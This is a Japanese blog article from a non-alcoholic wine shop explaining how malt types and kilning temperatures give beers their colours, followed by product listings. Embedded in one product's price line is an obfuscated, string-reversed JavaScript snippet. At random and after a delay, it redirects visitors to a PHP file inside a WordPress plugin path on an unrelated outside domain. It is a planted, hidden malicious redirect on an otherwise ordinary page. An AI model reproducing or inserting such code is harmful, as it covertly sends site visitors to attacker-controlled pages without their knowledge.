ノンアルコールワインを楽しむ皆様に。

   
2022/5/15 posted

白、黒、ブロンドetc、ビールにはなぜいろんな色がある?

   

  ビール 楽しむ・学ぶ

 

近年、日本各地の大都市で、「オクトーバーフェスト」「ベルギービールウィークエンド」などのビールイベントが盛んに開催されていますよね。
また、レストランなどでも、お店にブリュワリーがあって自家製ビールを醸造していたり、樽のクラフトビールを何種類もそろえているお店も増えてきました。

そういった場所に行くと、改めて驚いてしまうのが、ビールの種類の豊富さ。
私たちが普段よく飲んでいる黄金色のビールだけではなく、キャラメル色のコクのあるビール、真っ黒くて苦味のあるビールまでさまざまな種類のビールがあります。
今回は、その中でもビールの色合いの違いに注目。
多様な色や味わいのビールが生まれる秘密を解説します!

◇ビールの色を決める「麦芽」とは?

ビールの主原料は、麦芽、ホップ、水、酵母の4つです。
それ以外にも、お米・コーンなどの穀物やスターチなどのデンプン、あるいは、スパイスなどが副原料として使用されることがありますが、なんといっても、ビールの色、そして、味わいを決定する大きな要素は麦芽にあります。

「麦芽」。ビールのCMなどでもよく聞く言葉ですね。
麦芽とは、麦、中でも大麦の種子を発芽させたものをいいます。
では、なぜわざわざ麦を発芽させるのでしょうか?
その理由は、アルコール発酵の仕組みにあります。

ビールを作るには、酵母によるアルコール発酵が不可欠ですが、アルコール発酵の材料となるのは、本来、ブドウ糖や果糖などの単糖類と呼ばれる分子量の小さい糖類です。
大麦は糖類であるでんぷんを多く含んでいますが、多糖類であるでんぷんは分子のサイズが大きいため、そのままでは酵母はでんぷんをアルコール発酵に利用できません。
そこで、糖化という工程を経ることで、大麦に含まれるでんぷんを酵母が利用できる小さな糖類に分解します。
この糖化に欠かせないのが、麦が発芽する時に発生するアミラーゼという酵素です。
麦をわざわざ発芽させて麦芽にするのは、このアミラーゼを発生させるためなのです。

では、麦芽の作り方を説明しましょう。
まず大麦を吸水させて、発芽させます。
この時大麦の中では、でんぷんを分解して発芽・成長のエネルギー源である糖を作り出すために、糖化酵素のアミラーゼが大量に発生します。
ここで、発芽の進行を止めるため、低温の熱風で時間をかけて乾燥させる焙燥(ばいそう)という作業を行います。
こうして、発芽した麦がカラカラに乾いてできあがるのが「麦芽」です。

ちなみに、ビールを作る際には、まずこの麦芽を粉砕し、63~65℃程度のお湯で溶くマッシングという作業を行います。
麦芽に水分と適度な温度が与えられると、酵素アミラーゼが活性化して大麦に含まれるでんぷんがアルコール発酵可能なショ糖や麦芽糖に分解されます。
こうして、ようやくビール作りの準備が整うのです。

◇こんなにあるの!?麦芽の種類

さて、始めに、ビールの色や味わいを決めるポイントになるのは麦芽といいましたが、麦芽には実にたくさんの種類があるのです。
ここでは、主な麦芽の種類について解説します。

☆ビールの基本となる麦芽(ベースモルト)

焙燥を終えたばかりの麦芽は淡い黄色をしています。これはベースモルトとよばれ、アルコール発酵の材料となる基本的な麦芽です。
糖化酵素のアミラーゼを残すために低温で乾燥されるため、デンプンの糖化力が高いのがベースモルトの特徴です。
淡い色をしているため、ビールに着色をする効果はありません。
さらに、ベースモルトにもいくつか種類があり、代表的なものはラガーモルトやペールモルトです。

ラガーモルト(ピルスナーモルト)

85℃程度の低温で焙燥された麦芽。私たちが普段飲んでいる、淡色のラガービール(ピルスナー)を作る際に使われます。

ペールモルト

ピルスナーモルトよりやや高温で焙燥された麦芽をペールモルトと呼びます。主にエールのベースモルトとして使用されます。

なお、通常、麦芽には二条大麦が使用されますが、例外的に、ヴァイツェンやホワイトエールといった白ビールには、小麦で作った麦芽も使用されます。

☆高温で焙燥、焙煎された麦芽

ベースモルトより高温で焙燥し、淡く色づけた麦芽をキルンドモルトといいます。
キルンドとは、英語でKilnedと書き、「焙燥炉で焼かれた」という意味。ビールのボディを強めたり、フレーバーを豊かにする作用があります。
高温の焙燥で、酵素の糖化能力が低下しているので、ビール作りの際はベースモルトと併用します。
キルンドモルトの代表的なものに、ウィーンモルトやミュンヘンモルトがあります。

ウィーンモルト

うっすらと焦げが付いたウィーンモルト。淡色のラガービールに使用されることが多く、ビールに香ばしい香りとボディを与えます。

ミュンヘンモルト

100℃程度で焙煎したものがミュンヘンモルト。アンバーエールなど褐色のビールに使用される麦芽で、ビールにビスケットのような香ばしさと甘み、強いボディを与えます。

また、乾燥工程である焙燥を終えた後に、麦芽に色と風味をつけるため、さらにローストしたのが焙煎モルト。ビールに個性的な色と味を与える麦芽です。
ロースト度合いの違いにより、いくつかの種類に分けられます。

カラメルモルト

麦芽を焙燥する際に、麦芽に含まれるでんぷんを糖化させてから高温で焙燥すると、糖分がカラメル化して、麦芽に茶色い色合いと独特の風味が生まれます。これがカラメルモルト。
焙燥の度合いによってさまざまな色合いや風味のカラメルモルトができ上ります。別名、クリスタルモルトとも呼ばれます。

カラメルモルトはビールに色と風味を与えるための麦芽です。
糖化酵素は高温のため失活しており、糖化能力はありません。
また、カラメル化した糖分は酵母による発酵ができないため、ビール作りの際はベースモルトに混ぜて使用されます。
複雑な風味が特徴のペールエールやアンバーエールに使用されます。

チョコレートモルト

160℃程度の高温で、茶色く焦げるまで焙煎された麦芽がチョコレートモルト。
ビールに黒っぽい色と、ダークチョコレートやコーヒーのような風味をもたらし、ポーターやスタウトなど黒ビールの着色と風味付けに使用されます。

麦芽のでんぷんはすっかりローストされて残っておらず、また高温での焙煎で糖化酵素も失活しているため、チョコレートモルト単独ではビールを作ることはできません。
そのため、ビール作りの際は、ベースモルトに数%から10%程度混ぜて使用されます。使用量は少なくとも、ビールに特徴的な味わいを与えてくれる麦芽です。

ブラックモルト

220℃を超える超高温で焙煎されたのが、ブラックモルト。
ほぼ黒焦げのため、ブラックモルトを使ったビールは燻製のようなスモーキーな香りがあります。
スタウトやスコッチエールなどの黒ビールに使われることが多い麦芽です。チョコレートモルト同様、ベースモルトに混ぜて使用されます。

ローステッドバーレイ

こちらは麦芽と違い、発芽させない大麦を焙煎したもの。
ローステッドモルトとの違いは、糖化させていないため甘みがない点。コーヒーのようなシャープな苦みが特徴です。主にスタウトの着色に使用されます。

◇こんなに違う!ビールの色合い

実際にビールを作る際は、作りたいビールのスタイルや味わい応じて、これらの麦芽をブレンドして使用します。
その配合により、さまざまな色合い・味わいのビールが誕生するのです。

では、代表的なビールのスタイルと、色合いを薄いものから見ていきましょう。
ビールの色合いを表す規格には、アメリカで主に使用されているSRMと、ヨーロッパで使用されているEBCがあり、その数値も記載します。

色合いが薄いものから、グラスの向こうが見えないくらい濃いものまで、こうしてみると、一口にビールと言っても、本当に多様な色合いがあって驚きますね!

現在、世界的に主流となっているのはペールラガーやピルスナーといったビールで、色は淡い黄金色で味わいもすっきりとしています。これは、低温で焙燥した淡色の麦芽を使用して作るためです。
そして、使用する麦芽の焙燥温度が高く、色が濃くなるに従い、薄い茶色のペールエール、赤銅色のアンバーエール、茶色いブラウンエール、焦げ茶色のポーター、ほぼ黒に近いスタウトという順にならびます。
味わいも、麦芽の色が濃くなるにつれて、ビールの色も深くなり味わいもコクが増していくんですよ。

ちなみに、ペールは「薄い」「淡い」という意味ですが、ラガーやピルスナーより濃いペールエールが、なぜ「ペール」と呼ばれているのでしょうか?
実は、それにはビールの歴史が深く関わっています。
現在のように焙燥温度をコントロールするテクノロジーが発達していなかった時代、麦芽を色づけないよう焙燥度合いを調整するのは大変難しいことでした。そのため、昔のビールの色は現在よりもずっと濃く、茶色に近かったのです。
なので、当時としては淡色のビールということで、「ペール」と名付けられたのがペールエールなのです。
その後の技術革新によって淡色のラガービールが主流になった後も、その名前が残っているため、色が案外濃いのにペールエールと呼ばれているのです。

◇ベルギービール ビアデザミーはどんなタイプのビール?

さて、MELLOW storeで販売中のベルギービール ビア・デザミーはどのようなタイプのビールなのでしょうか?
ビア・デザミーは、上面発酵酵母を使ったブロンドエールと呼ばれるスタイルのビールで、色合いはピルスナーを少し濃くしたような黄金色。
焙燥度の高いモルトを加えることで、美しいゴールドの色合いを作っています。
エールの中では比較的ボディは軽め、ホップの香りや苦味はやや控えめで、しっかりと麦芽の香りが感じられます。また、副原料に使用したオレンジピールがフルーティーさをプラスして、スッキリ爽やかな味わいです。

爽やかな飲み口は、これからの暑い季節にピッタリ!また、普段はラガービールを飲んでいる方にも馴染みやすい味わいで、ベルギービールやクラフトビールの入門にも最適です。

また、ビア・デザミーを脱アルコールして作ったビア・デザミ−0.0は、本格的なブロンドエールの味わいがノンアルコールで楽しめますよ!

ベルギー・ネオブュル社「ビア・デザミー」
【アルコール入り】
BIERE DES AMIS ビアー・デザミ・ブロンド 330ml ×24本セット

価格:¥ 13,992(税込) $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore.com/view/item/000000000200″>→ クリックして商品を見る

ビア・デザミーをベースに作ったノンアルコールビールが、ビア・デザミー0.0。
真空状態でアルコールの沸点を下げ32℃という低温で蒸留することで、ビールの持つ香りや風味を守りながら脱アルコールしたので、元のビールの美味しさはそのままにアルコールは0.0%。
言われなければノンアルコールと気づかず飲んでしまうほど、ビールらしさを残した味わいのノンアルコールビールです。

【こちらもご覧ください MELLOW magazine過去記事】
・「ビール腹」にはなりたくない!太りにくいビールの飲み方
・ちょい足しで広がる味わい!夏場のビールをもっと美味しく楽しもう
・ビールのお供といえばコレ!枝豆大研究

MELLOWは本格ワインのノンアルコールワインをオススメします!

デュク・ドゥ・モンターニュ ブリュット

デュク・ドゥ・モンターニュ ブリュット/750ml

メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
辛口でキレのある口あたり、まろやかな酸味。
アルコール度数 / 
0.0%

よりドライな口当たりのノンアルコール・スパークリングワインが欲しいという声に応える商品。青リンゴとレモンを思わせる爽やかな果実味に、まろやかな酸味。キリッとした口当たりに、爽やかなはじける炭酸。辛口タイプのノンアルコール・スパークリングワインです。

デュク・ドゥ・モンターニュ 製品

デュク・ドゥ・モンターニュ/750ml

カロリー / 
27kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
甘口
アルコール度数 / 
0.0%

ノンアルコールなのに、まるでシャンパンの味。本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。お酒が飲めない方や、妊娠・授乳中の方、ドライバーの方にも安心して楽しんでいただける商品です。

デュク・ドゥ・モンターニュ・ロゼ 製品

デュク・ドゥ・モンターニュ・ロゼ/750ml

カロリー / 
23kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや甘口
アルコール度数 / 
0.0%

本物のワインを醸造後、独自の脱アルコール製法で仕上げた本格的な味わいのノンアルコールスパークリングワイン。ロゼは、輝くようなサーモンピンクの愛らしい色合い。華やかなアロマの香りも豊かなエレガントな商品です。

ヴィンテンス・シャルドネ(白) 製品

ヴィンテンス・シャルドネ(白)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ブルゴーニュ地域を代表する品種のシャルドネを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。シトラスの香りと複雑味のある豊かな味わいをお楽しみいただけます。鶏肉などの白身肉や魚の料理と相性がよいタイプです。

ヴィンテンス・メルロー(赤) 製品

ヴィンテンス・メルロー(赤)/750ml

※ボトルデザインをリニューアルしました
カロリー / 
20kcal (100mlあたり)
メーカー / 
 NEOBULLES(ネオブュル)社 ベルギー
味わい / 
やや辛口
アルコール度数 / 
0.0%

ボルドー地域を代表する品種のメルローを使用しています。ブドウの品種にこだわり醸造したワインからアルコール分だけを取り除いたノンアルコールスティルワイン。フルーティーながらコクがあり、ブルーベリーの風味も感じられます。赤味の肉やチーズと好相性です。

Thanks for your reading!